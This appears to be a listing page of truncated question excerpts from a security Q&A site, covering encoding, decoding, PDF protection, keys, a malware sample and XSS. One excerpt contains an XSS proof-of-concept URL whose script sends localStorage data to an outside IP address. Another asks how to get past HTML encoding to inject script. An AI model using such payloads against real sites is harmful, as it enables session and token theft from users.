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I am studying PDF text extraction. I came across this PDF from which i can’t extract text properly nor can i copy it. How to achieve it? Not that I am an expert.
here’s what i tried and found
text selection : Adobe’s text selection is nea… Continue reading How to analyse text extraction prevention measures in a PDF? [closed]
I created a private key using Analog device’s signtool. It can be found part of "CrossCore Embedded Studio for Blackfin, SHARC and SHARC+ – Release (Rev. 2.12.0)". Link: https://www.analog.com/en/resources/evaluation-hardware-and… Continue reading How to generate an X9.62 encoded ECDSA prime256v1 private key using OpenSSL?
Its a 3.37MB batch file. When opened in Notepad/++ it’s all Chinese and some unknown characters. It’s still remaining largely undetectable despite being launched in the wild more than 2 days ago, specifically against financial institutions… Continue reading Can anyone decipher this .BAT malware? [closed]
I want to find encryption key from web-socket messages from an android game.
for that i send messages in clan and i resaved sent web-socket requests for that, please help me to get the key and decode all requests and responses:
request1:
v… Continue reading Finding Encryption key and type for an android app
I am trying to poc and XSS in the url, and I have it working fine with the below url:
https://example.com:15000/test/%3Cscript%20type=%22text/javascript%22%3Edocument.location=%22http://192.168.1.88:8080/%3fc=%22+localStorage.getItem(%22to… Continue reading + is decoded by the browser as space [closed]
I have been struggling a lot with decoding the following message: ">1W)E870@=&AE(‘!A<W-W;W)D(&ES(&-A=&-H+6UE ".
I do not know how to convert the message above into a readable one. I tried using base64 data f… Continue reading How to decode a message? [closed]
While studying the XSS vulnerability, I encountered a significant doubt. I noticed that when we include " in a URL, it gets encoded as %22. Therefore, I believe we can utilize the decoded version of ", ensuring it remains as &quo… Continue reading When we url encode (") will become (%22), is there any way we can decode (")?
I‘m sending a mail encoded with quoted printable encoding that contains some dots .. There is a problem with a specific mailserver/customer. For some reason, they receive the mail in such a form that each dot is encoded as =2E ultimately b… Continue reading Mails invalid signature because of encoding of periods in quoted printable [migrated]
I’ve observed that React can HTML encode specific characters to prevent XSS vulnerabilities in certain contexts. For instance, consider the following code in App.jsx:
function App() {
const XSSProblematicChars = "><‘\"(… Continue reading React chars to HTML encode?
I am trying to perform XSS but to get out of the context and write the payload I need to use Angle brackets and the angle brackets are html encoded. I tried double encoding technique with url encoding+html encoding, url encoding+url encodi… Continue reading How to use html encoded characters to perform XSS?